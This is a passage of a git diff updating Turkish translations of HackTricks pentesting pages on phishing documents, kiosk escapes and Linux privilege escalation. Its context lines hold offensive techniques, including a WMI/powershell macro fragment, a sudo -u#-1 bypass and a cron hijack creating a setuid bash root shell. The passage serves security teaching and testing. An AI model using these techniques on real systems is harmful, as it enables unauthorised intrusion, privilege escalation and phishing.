bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir. ### 11 - POST #### **11**.1 - Yağmalama -Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla** **diğer makinelere erişiminiz olup olmadığını** kontrol edin.\ -Burada Windows'ta [**şifreleri dökme**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) için farklı yollar bulabilirsiniz. +Host içinde daha fazla **şifre** bulup bulamayacağınızı veya **kullanıcınızın ayrıcalıklarıyla diğer makinelere erişiminiz olup olmadığını** kontrol edin.\ +Burada [**Windows'ta şifreleri dökme**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) için farklı yollar bulabilirsiniz. #### 11.2 - Kalıcılık **Sistemi tekrar istismar etmenize gerek kalmaması için 2 veya 3 farklı kalıcılık mekanizması kullanın.**\ **Burada bazı** [**Active Directory'de kalıcılık ipuçları**](../windows-hardening/active-directory-methodology/index.html#persistence)** bulabilirsiniz.** -TODO: Windows & Linux'ta kalıcılık Postunu tamamla +TODO: Windows & Linux'ta kalıcılık Post'unu tamamla ### 12 - Pivotlama -**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) için ihtiyacınız vardır.\ -Bu durumda, tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\ -Ayrıca, [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/index.html) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\ +**Toplanan kimlik bilgileriyle** diğer makinelere erişiminiz olabilir veya belki de **yeni hostları keşfetmek ve taramak** (Pentesting Metodolojisini yeniden başlatmak) gerekebilir.\ +Bu durumda tünelleme gerekli olabilir. Burada [**tünelleme hakkında bir yazı bulabilirsiniz**](../generic-hacking/tunneling-and-port-forwarding.md).\ +Ayrıca [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/index.html) hakkında yazıyı kontrol etmelisiniz. Orada yanlamasına hareket etme, ayrıcalıkları yükseltme ve kimlik bilgilerini dökme konusunda harika ipuçları bulacaksınız.\ Ayrıca [**NTLM**](../windows-hardening/ntlm/index.html) sayfasını kontrol edin, Windows ortamlarında pivotlama için çok faydalı olabilir. ### DAHA FAZLA @@ -132,5 +131,4 @@ Ayrıca [**NTLM**](../windows-hardening/ntlm/index.html) sayfasını kontrol edi - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 01ba4b94d..272011dd3 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -6,7 +6,7 @@ Microsoft Word, bir dosyayı açmadan önce dosya veri doğrulaması yapar. Veri doğrulaması, OfficeOpenXML standardına karşı veri yapısı tanımlaması şeklinde gerçekleştirilir. Veri yapısı tanımlaması sırasında herhangi bir hata oluşursa, analiz edilen dosya açılmayacaktır. -Genellikle, makrolar içeren Word dosyaları `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyanın adını değiştirmek ve makro çalıştırma yeteneklerini korumak mümkündür.\ +Genellikle, makrolar içeren Word dosyaları `.docm` uzantısını kullanır. Ancak, dosya uzantısını değiştirerek dosyayı yeniden adlandırmak ve makro çalıştırma yeteneklerini korumak mümkündür.\ Örneğin, bir RTF dosyası tasarımı gereği makroları desteklemez, ancak RTF olarak yeniden adlandırılan bir DOCM dosyası Microsoft Word tarafından işlenecek ve makro çalıştırma yeteneğine sahip olacaktır.\ Aynı iç yapılar ve mekanizmalar Microsoft Office Suite'in (Excel, PowerPoint vb.) tüm yazılımlarına uygulanır. @@ -14,12 +14,12 @@ Aşağıdaki komutu kullanarak bazı Ofis programları tarafından hangi uzantı ```bash assoc | findstr /i "word excel powerp" ``` -DOCX dosyaları, makroları içeren uzak bir şablona atıfta bulunuyorsa (Dosya – Seçenekler – Eklentiler – Yönet: Şablonlar – Git) makroları “çalıştırabilir”. +DOCX dosyaları, makroları içeren uzak bir şablona atıfta bulunuyorsa (Dosya – Seçenekler – Eklentiler – Yönet: Şablonlar – Git) makroları "çalıştırabilir". ### Harici Görüntü Yükleme Git: _Ekle --> Hızlı Parçalar --> Alan_\ -&#xNAN;_**Kategoriler**: Bağlantılar ve Referanslar, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://\/whatever +_**Kategoriler**: Bağlantılar ve Referanslar, **Alan adları**: includePicture, ve **Dosya adı veya URL**:_ http://\/whatever ![](<../../images/image (155).png>) @@ -64,22 +64,22 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Manuel olarak meta verileri kaldırma +#### Manually remove metadata -**Dosya > Bilgi > Belgeyi Denetle > Belgeyi Denetle** yolunu izleyin, bu Belge Denetleyicisini açacaktır. **Denetle** butonuna tıklayın ve ardından **Belge Özellikleri ve Kişisel Bilgileri Kaldır** kısmının yanındaki **Tümünü Kaldır** butonuna tıklayın. +**Dosya > Bilgi > Belgeyi Denetle > Belgeyi Denetle** yolunu izleyin, bu Belge Denetleyicisini açacaktır. **Denetle** butonuna tıklayın ve ardından **Belge Özellikleri ve Kişisel Bilgileri Kaldır** kısmının yanındaki **Tümünü Kaldır** seçeneğine tıklayın. -#### Doc Uzantısı +#### Doc Extension İşlem tamamlandığında, **Farklı Kaydet** türü açılır menüsünden, formatı **`.docx`**'den **Word 97-2003 `.doc`**'ye değiştirin.\ -Bunu yapın çünkü **`.docx`** içinde makroları kaydedemezsiniz ve makro etkin **`.docm`** uzantısı etrafında bir **stigma** vardır (örneğin, küçük resim simgesi büyük bir `!` içerir ve bazı web/e-posta geçitleri bunları tamamen engeller). Bu nedenle, bu **eski `.doc` uzantısı en iyi uzlaşmadır**. +Bunu yapın çünkü **`.docx`** içinde makroları kaydedemezsiniz ve **`.docm`** uzantısı etrafında bir **stigma** vardır (örneğin, küçük resim simgesi büyük bir `!` içerir ve bazı web/e-posta geçitleri bunları tamamen engeller). Bu nedenle, bu **eski `.doc` uzantısı en iyi uzlaşmadır**. -#### Kötü Amaçlı Makro Üreticileri +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Dosyaları +## HTA Files HTA, **HTML ve betik dilleri (VBScript ve JScript gibi)** birleştiren bir Windows programıdır. Kullanıcı arayüzünü oluşturur ve bir "tamamen güvenilir" uygulama olarak çalışır, bir tarayıcının güvenlik modelinin kısıtlamaları olmadan. @@ -140,7 +140,7 @@ self.close ``` ## NTLM Kimlik Doğrulamasını Zorlamak -Kullanıcıların erişeceği e-postalara veya HTML'ye **görünmez resimler** ekleyerek (hatta HTTP MitM?) gibi çeşitli yollarla **uzaktan NTLM kimlik doğrulamasını zorlamak** mümkündür. Ya da kurbanı, **klasörü açmak için** sadece **kimlik doğrulamasını tetikleyecek dosyaların adresiyle** gönderebilirsiniz. +**NTLM kimlik doğrulamasını "uzaktan" zorlamanın** birkaç yolu vardır, örneğin, kullanıcının erişeceği e-postalara veya HTML'ye **görünmez resimler** ekleyebilirsiniz (hatta HTTP MitM?). Ya da kurbanı, **klasörü açmak için** sadece **kimlik doğrulamasını tetikleyecek dosyaların adresiyle** gönderebilirsiniz. **Bu fikirleri ve daha fazlasını aşağıdaki sayfalarda kontrol edin:** @@ -154,7 +154,7 @@ Kullanıcıların erişeceği e-postalara veya HTML'ye **görünmez resimler** e ### NTLM İletimi -Sadece hash veya kimlik doğrulamasını çalamayacağınızı, aynı zamanda **NTLM iletim saldırıları gerçekleştirebileceğinizi** unutmayın: +Sadece hash veya kimlik doğrulamasını çalamayacağınızı, aynı zamanda **NTLM iletim saldırıları** da gerçekleştirebileceğinizi unutmayın: - [**NTLM İletim saldırıları**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM iletimi ile sertifikalar)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 304322ec1..bbc2c55d0 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -1,4 +1,4 @@ -# KIOSK'lerden Kaçış +# KIOSK'lardan Kaçış {{#include ../banners/hacktricks-training.md}} @@ -8,10 +8,10 @@ | Bileşen | Eylem | | ------------ | ------------------------------------------------------------------ | -| Güç düğmesi | Cihazı kapatıp açmak başlangıç ekranını açabilir | +| Güç düğmesi | Cihazı kapatıp açmak, başlangıç ekranını açığa çıkarabilir | | Güç kablosu | Güç kesildiğinde cihazın yeniden başlatılıp başlatılmadığını kontrol et | -| USB portları | Daha fazla kısayol ile fiziksel klavye bağla | -| Ethernet | Ağ taraması veya dinleme daha fazla istismar imkanı sağlayabilir | +| USB portları | Daha fazla kısayol ile fiziksel klavye bağla | +| Ethernet | Ağ taraması veya dinleme, daha fazla istismar imkanı sağlayabilir | ## GUI uygulaması içinde olası eylemleri kontrol et @@ -20,7 +20,7 @@ - Kapat/Kapat olarak - Aç/Aç ile - Yazdır -- Dışa aktar/Içe aktar +- Dışa Aktar/Içe Aktar - Ara - Tara @@ -37,11 +37,11 @@ Belki **`Aç ile`** seçeneğini kullanarak bazı türde bir shell açabilir/ça #### Windows -Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada komutları çalıştırmak (ve beklenmedik eylemler gerçekleştirmek) için kullanılabilecek daha fazla ikili dosya bul: [https://lolbas-project.github.io/](https://lolbas-project.github.io) +Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ komutları çalıştırmak için kullanılabilecek daha fazla ikili dosyayı burada bul: [https://lolbas-project.github.io/](https://lolbas-project.github.io) #### \*NIX \_\_ -_bash, sh, zsh..._ Daha fazla burada: [https://gtfobins.github.io/](https://gtfobins.github.io) +_bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://gtfobins.github.io) ## Windows @@ -115,14 +115,14 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt - Sol taraftan sağa kaydırarak tüm açık pencereleri görmek, KIOSK uygulamasını küçültmek ve tüm işletim sistemine doğrudan erişmek için; - Sağ taraftan sola kaydırarak Eylem Merkezi'ni açmak, KIOSK uygulamasını küçültmek ve tüm işletim sistemine doğrudan erişmek için; -- Üst kenardan kaydırarak tam ekran modunda açılan bir uygulamanın başlık çubuğunu görünür hale getirmek için; +- Üst kenardan kaydırarak tam ekran modunda açılmış bir uygulamanın başlık çubuğunu görünür hale getirmek için; - Alt taraftan yukarı kaydırarak tam ekran uygulamasında görev çubuğunu göstermek için. ### Internet Explorer Hileleri #### 'Resim Araç Çubuğu' -Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezginde Açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekir. +Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, Gezginde "Resimlerim"i açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekir. #### Shell Protokolü @@ -159,7 +159,7 @@ Daha fazla bilgi için bu sayfayı kontrol edin: [https://www.howtohaven.com/sys Yedek iKat sürümleri: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) JavaScript kullanarak ortak bir diyalog oluşturun ve dosya gezgini erişin: `document.write('')`\ Kaynak: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -168,17 +168,17 @@ Kaynak: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de1981 ### Hareketler ve düğmeler -- Dört (veya beş) parmakla yukarı kaydır / Ana ekran düğmesine çift tıklayın: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için +- Dört (veya beş) parmakla yukarı kaydır / Ana düğmeye çift tıklayın: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için - Dört veya beş parmakla bir yöne kaydır: Bir sonraki/son uygulamaya geçmek için -- Beş parmakla ekranı sıkıştır / Ana ekran düğmesine dokun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydır: Ana ekrana erişmek için -- Ekranın altından 1-2 inç (yavaş) yukarı kaydır: Dock görünecektir -- Ekranın üst kısmından 1 parmakla aşağı kaydır: Bildirimlerinizi görmek için -- Ekranın sağ üst köşesinden 1 parmakla aşağı kaydır: iPad Pro'nun kontrol merkezini görmek için -- Ekranın sol tarafından 1-2 inç 1 parmakla kaydır: Bugün görünümünü görmek için -- Ekranın ortasından sağa veya sola hızlı bir şekilde 1 parmakla kaydır: Bir sonraki/son uygulamaya geçmek için -- **iPad**'in sağ üst köşesindeki Açık/**Kapat**/Uyku düğmesine basılı tutun + **kapatmak için** kaydırıcıyı tamamen sağa kaydırın: Kapatmak için -- **iPad**'in sağ üst köşesindeki Açık/**Kapat**/Uyku düğmesine ve Ana ekran düğmesine birkaç saniye basın: Sert bir şekilde kapatmak için -- **iPad**'in sağ üst köşesindeki Açık/**Kapat**/Uyku düğmesine ve Ana ekran düğmesine hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız sert bir kapatma işlemi yapılır. +- Beş parmakla ekranı sıkıştırın / Ana düğmeye dokunun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydırın: Ana ekrana erişmek için +- Ekranın altından 1-2 inç (yavaş) kaydırarak bir parmakla: Dock görünecektir +- Ekranın üst kenarından 1 parmakla aşağı kaydırarak: Bildirimlerinizi görüntülemek için +- Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırarak: iPad Pro'nun kontrol merkezini görmek için +- Ekranın sol tarafından 1-2 inç kaydırarak: Bugün görünümünü görmek için +- Ekranın ortasından sağa veya sola hızlı bir parmak kaydırarak: Bir sonraki/son uygulamaya geçmek için +- **iPad**'in sağ üst köşesindeki Açma/**Kapama**/Uyku düğmesine basılı tutun + **kapalı** kaydırıcısını tamamen sağa kaydırın: Kapatmak için +- **iPad**'in sağ üst köşesindeki Açma/**Kapama**/Uyku düğmesine ve Ana düğmeye birkaç saniye basın: Sert bir şekilde kapatmak için +- **iPad**'in sağ üst köşesindeki Açma/**Kapama**/Uyku düğmesine ve Ana düğmeye hızlıca basın: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız sert bir kapatma işlemi yapılır. ### Kısayollar @@ -186,16 +186,16 @@ Bir iPad klavyesine veya bir USB klavye adaptörüne sahip olmalısınız. Uygul | Tuş | Adı | | --- | ------------ | -| ⌘ | Komut | +| ⌘ | Komut | | ⌥ | Seçenek (Alt) | -| ⇧ | Shift | -| ↩ | Geri | -| ⇥ | Sekme | -| ^ | Kontrol | -| ← | Sol Ok | -| → | Sağ Ok | -| ↑ | Yukarı Ok | -| ↓ | Aşağı Ok | +| ⇧ | Shift | +| ↩ | Geri Dön | +| ⇥ | Sekme | +| ^ | Kontrol | +| ← | Sol Ok | +| → | Sağ Ok | +| ↑ | Yukarı Ok | +| ↓ | Aşağı Ok | #### Sistem kısayolları @@ -203,60 +203,60 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar | Kısayol | Eylem | | -------- | ------------------------------------------------------------------------------ | -| F1 | Ekranı Kısma | -| F2 | Ekranı Parlaklaştırma | -| F7 | Bir şarkı geri alma | -| F8 | Oynat/durdur | -| F9 | Şarkıyı atlama | -| F10 | Ses kapatma | -| F11 | Ses seviyesini azaltma | -| F12 | Ses seviyesini artırma | -| ⌘ Boşluk | Mevcut dillerin listesini gösterir; birini seçmek için boşluk tuşuna tekrar basın. | +| F1 | Ekranı Kısma | +| F2 | Ekranı Parlaklaştırma | +| F7 | Bir şarkıyı geri alma | +| F8 | Oynat/durdur | +| F9 | Şarkıyı atlama | +| F10 | Ses kapatma | +| F11 | Ses seviyesini azaltma | +| F12 | Ses seviyesini artırma | +| ⌘ Boşluk | Mevcut dillerin listesini görüntüle; birini seçmek için boşluk tuşuna tekrar bas. | #### iPad navigasyonu | Kısayol | Eylem | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Ana ekrana git | -| ⌘⇧H (Komut-Shift-H) | Ana ekrana git | -| ⌘ (Boşluk) | Spotlight'ı aç | -| ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele | -| ⌘\~ | Son uygulamaya git | +| ⌘H | Ana ekrana git | +| ⌘⇧H (Komut-Shift-H) | Ana ekrana git | +| ⌘ (Boşluk) | Spotlight'ı aç | +| ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele | +| ⌘\~ | Son uygulamaya git | | ⌘⇧3 (Komut-Shift-3) | Ekran görüntüsü (sol altta kaydetmek veya üzerinde işlem yapmak için) | -| ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç | -| ⌘ tuşuna basılı tut | Uygulama için mevcut kısayolların listesini gösterir | +| ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç | +| ⌘'yi basılı tut | Uygulama için mevcut kısayolların listesini göster | | ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar | -| ^⌥H (Kontrol-Seçenek-H) | Ana ekran düğmesi | -| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu gösterir | -| ^⌥I (Kontrol-Seçenek-i) | Öğe seçici | -| Escape | Geri düğmesi | -| → (Sağ ok) | Sonraki öğe | -| ← (Sol ok) | Önceki öğe | -| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokun | -| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | -| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | -| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | -| ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat | -| ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç | -| ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön | -| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin | +| ^⌥H (Kontrol-Seçenek-H) | Ana düğme | +| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster | +| ^⌥I (Kontrol-Seçenek-i) | Öğe seçici | +| Escape | Geri düğmesi | +| → (Sağ ok) | Sonraki öğe | +| ← (Sol ok) | Önceki öğe | +| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokun | +| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır | +| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır | +| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır | +| ^⌥S (Kontrol-Seçenek-S) | VoiceOver sesini aç veya kapat | +| ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç | +| ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön | +| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin | #### Safari kısayolları | Kısayol | Eylem | | ----------------------- | ------------------------------------------------ | -| ⌘L (Komut-L) | Konum Aç | -| ⌘T | Yeni bir sekme aç | -| ⌘W | Mevcut sekmeyi kapat | -| ⌘R | Mevcut sekmeyi yenile | -| ⌘. | Mevcut sekmenin yüklenmesini durdur | -| ^⇥ | Sonraki sekmeye geç | +| ⌘L (Komut-L) | Konum Aç | +| ⌘T | Yeni bir sekme aç | +| ⌘W | Mevcut sekmeyi kapat | +| ⌘R | Mevcut sekmeyi yenile | +| ⌘. | Mevcut sekmenin yüklenmesini durdur | +| ^⇥ | Sonraki sekmeye geç | | ^⇧⇥ (Kontrol-Shift-Sekme) | Önceki sekmeye geç | -| ⌘L | Metin girişi/URL alanını seçip düzenlemek için | +| ⌘L | Metin girişi/URL alanını seçip düzenlemek için | | ⌘⇧T (Komut-Shift-T) | En son kapatılan sekmeyi aç (birkaç kez kullanılabilir) | -| ⌘\[ | Tarayıcı geçmişinizde bir sayfaya geri dön | -| ⌘] | Tarayıcı geçmişinizde bir sayfaya ileri git | -| ⌘⇧R | Okuyucu Modunu etkinleştir | +| ⌘\[ | Tarayıcı geçmişinizde bir sayfaya geri dön | +| ⌘] | Tarayıcı geçmişinizde bir sayfaya ileri git | +| ⌘⇧R | Okuyucu Modunu etkinleştir | #### Mail kısayolları diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 473add400..a15bc9173 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -35,17 +35,17 @@ searchsploit "Linux Kernel" İyi bir savunmasız çekirdek listesi ve bazı **derlenmiş istismarlar** burada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ Diğer bazı **derlenmiş istismarlar** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -O web sitesinden tüm savunmasız çekirdek sürümlerini çıkarmak için şunları yapabilirsiniz: +O web sitesinden tüm savunmasız çekirdek sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Kerneli açıklarını aramaya yardımcı olabilecek araçlar şunlardır: +Kernal açıklarını aramaya yardımcı olabilecek araçlar şunlardır: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x çekirdekleri için açıkları kontrol eder) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (kurban üzerinde çalıştırın, yalnızca 2.x kernel için açıkları kontrol eder) -Her zaman **Google'da çekirdek sürümünü arayın**, belki çekirdek sürümünüz bazı çekirdek açıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz. +Her zaman **Google'da kernel sürümünü arayın**, belki kernel sürümünüz bazı kernel açıklarında yazılıdır ve bu durumda bu açığın geçerli olduğundan emin olursunuz. ### CVE-2016-5195 (DirtyCow) @@ -63,7 +63,7 @@ Görünüşteki savunmasız sudo sürümlerine dayanarak: ```bash searchsploit sudo ``` -Bu grep'i kullanarak sudo sürümünün savunmasız olup olmadığını kontrol edebilirsiniz. +Bu grep ile sudo sürümünün savunmasız olup olmadığını kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,13 +73,13 @@ From @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg imza doğrulaması başarısız +### Dmesg imza doğrulaması başarısız oldu -Bu açığın nasıl istismar edilebileceğine dair bir **örnek** için **HTB'nin smasher2 kutusunu** kontrol edin. +**Bu açığın nasıl istismar edilebileceğine dair bir örnek için HTB'nin smasher2 kutusunu kontrol edin** ```bash dmesg 2>/dev/null | grep "signature" ``` -### Daha fazla sistem numaralandırma +### Daha fazla sistem sayımı ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -156,9 +156,9 @@ Daha şüpheli yüklenmiş yazılımların sürümünü manuel olarak kontrol et dpkg -l #Debian rpm -qa #Centos ``` -Eğer makineye SSH erişiminiz varsa, makinede yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. +Eğer makineye SSH erişiminiz varsa, makinede yüklü olan eski ve savunmasız yazılımları kontrol etmek için **openVAS** kullanabilirsiniz. -> [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü yazılım sürümünün bilinen açıklar için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri bazı uygulamaların kullanılması önerilir._ +> [!NOTE] > _Bu komutların çoğunlukla işe yaramayacak çok fazla bilgi göstereceğini unutmayın, bu nedenle yüklü yazılım sürümlerinin bilinen açıklar için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri bazı uygulamaların kullanılması önerilir._ ## Processes @@ -188,8 +188,8 @@ Ancak, **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini > > - **kernel.yama.ptrace_scope = 0**: tüm süreçler, aynı uid'ye sahip oldukları sürece hata ayıklanabilir. Bu, ptracing'in klasik çalışma şeklidir. > - **kernel.yama.ptrace_scope = 1**: yalnızca bir ana süreç hata ayıklanabilir. -> - **kernel.yama.ptrace_scope = 2**: yalnızca yönetici ptrace kullanabilir, çünkü bu CAP_SYS_PTRACE yeteneğini gerektirir. -> - **kernel.yama.ptrace_scope = 3**: ptrace ile hiçbir süreç izlenemez. Bir kez ayarlandığında, ptracing'i tekrar etkinleştirmek için yeniden başlatma gereklidir. +> - **kernel.yama.ptrace_scope = 2**: Yalnızca yönetici ptrace kullanabilir, çünkü bu CAP_SYS_PTRACE yeteneğini gerektirir. +> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Ayarlandıktan sonra, ptracing'i yeniden etkinleştirmek için bir yeniden başlatma gerekir. #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemlerin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi, **mem dosyasına erişmek ve tüm okunabilir bölgeleri** bir dosyaya dökmek için kullanıyoruz. +Verilen bir işlem kimliği için, **maps o işlemin** sanal adres alanında belleğin nasıl haritalandığını gösterir; ayrıca **her haritalanmış bölgenin izinlerini** de gösterir. **mem** sanal dosyası **işlemlerin belleğini** kendisi açığa çıkarır. **maps** dosyasından hangi **bellek bölgelerinin okunabilir olduğunu** ve bunların ofsetlerini biliyoruz. Bu bilgiyi kullanarak **mem dosyasına ulaşır ve tüm okunabilir bölgeleri** bir dosyaya dökeriz. ```bash procdump() ( @@ -313,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Zamanlanmış/Cron görevleri -Herhangi bir zamanlanmış işin savunmasız olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?). +Herhangi bir zamanlanmış görevin savunmasız olup olmadığını kontrol edin. Belki root tarafından yürütülen bir scriptten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir mi? symlink'ler kullanabilir mi? root'un kullandığı dizinde belirli dosyalar oluşturabilir mi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -327,16 +327,16 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_Kullanıcı "user"ın /home/user üzerinde yazma ayrıcalıklarına sahip olduğunu not edin_) -Eğer bu crontab içinde root kullanıcısı yolu ayarlamadan bazı komut veya scriptleri çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ +Eğer bu crontab içinde root kullanıcısı bir komut veya scripti yolu ayarlamadan çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ O zaman, şunu kullanarak bir root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron bir wildcard ile bir script kullanımı (Wildcard Injection) +### Cron bir joker karakter ile bir script kullanma (Joker Karakter Enjeksiyonu) -Eğer root tarafından yürütülen bir 